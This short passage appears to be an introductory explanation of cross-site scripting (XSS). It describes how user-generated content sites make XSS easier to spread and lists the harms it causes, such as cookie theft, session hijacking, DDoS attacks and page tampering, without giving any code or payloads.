XSS is an attack technique that executes JavaScript in the frontend. With the popularity of UGC sites, the data generated by users has surged, and the ever-denser network of data blocks makes it easier to carry out and spread XSS. The damage XSS causes includes: stealing user cookies and personal information; hijacking sessions and manipulating users’ network data; launching DDoS attacks; tampering with pages, popping up ads, and so on.
